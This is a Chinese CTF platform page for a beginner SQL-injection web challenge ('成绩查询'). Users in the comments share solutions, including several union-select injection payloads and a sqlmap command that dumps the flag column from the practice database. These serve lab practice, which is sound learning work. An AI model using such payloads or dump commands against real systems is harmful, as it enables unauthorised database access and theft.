成绩查询WEB 未解决

分数: 25 金币: 2
题目作者: 未知
一  血: npfs
一血奖励: 1金币
解  决: 10544
提  示:
描  述:
来源山科大ctf
评论
zoey123 2年前

很好,适合新手

回复 0

sudopacman 2年前

萌新打得最心惊胆战的一道题,第一次碰sqlmap,不知道为什么-u "[path]"出来一直报错,最后手工暴力做出来了

回复 0

4549 2年前

赞,很适合新手

回复 1

goodfxxkingbye 2年前

id=-1' union select 1,2,3,group_concat(skctf_flag) from fl4g#

回复 3
him9947 2年前

你是我大哥

回复 2

lzh20030509 2年前

评论区yyds

回复 0

15305265925 2年前

id=-1' union select 1,2,group_concat(skctf_flag),4 from fl4g-- -

回复 1

xiaoxhw 2年前

利用”不显示“代表”报错“

回复 2

笨笨笨蛋 3年前

我sqlmap进入fl4g后查看内容压根没有flag,可是手工注入又有了,这是为什么?求一个大佬解释一下

回复 0
aWxvdmVjdGY 2年前

fl4g 是db,然后找table,在找cloumns,最后dump

回复 0

教练我要打亚索 3年前

先猜一下字段,我也是没猜字段直接取数据 没取到,需要先取一下字段 然后再来取数据

回复 0

笨笨笨蛋 3年前

有大佬用sqlmap做的吗?我想看看sqlmap怎么做这个题目

回复 0
摆烂选手 2年前

@charonzzw 阿巴阿巴,摆烂选手大眼瞪小眼,咋搞啊。有没有会的,哭了

回复 0

theonlypopcat 2年前

sqlmap --url="http://靶场地址/index.php" --data="id=1" -D skctf -T fl4g -C skctf_flag --dump

回复 0

charonzzw 2年前

用burp去抓包 然后copy to flie 形成txt文件,sqlmap去运行这个包 然后依次查库 表 列就出flag了

回复 1

秋刀鱼の丸 3年前

1' and 1=2 union select 1,2,3,skctf_flag from fl4g#

回复 1

WriteUp

image
harry

2 金币

评分(22)

解题动态

牧之雪夜 攻破了该题 3小时前
yjyyds 攻破了该题 8小时前
aaa1 攻破了该题 9小时前
932041046 攻破了该题 16小时前
2970507147 攻破了该题 16小时前
llggff 攻破了该题 1天前
walkerming 攻破了该题 1天前
orange2015 攻破了该题 1天前
desireart 攻破了该题 1天前
zcgzcx1234 攻破了该题 1天前
13542813032 攻破了该题 2天前
暗A166668 攻破了该题 2天前
weiyouzhunze 攻破了该题 2天前
wlaqxb 攻破了该题 2天前
吴王饭差 攻破了该题 2天前
欲语泪先流 攻破了该题 2天前
白六真的6 攻破了该题 3天前
dream666 攻破了该题 3天前
ZQCblack 攻破了该题 3天前
QEQEQE 攻破了该题 3天前
问题反馈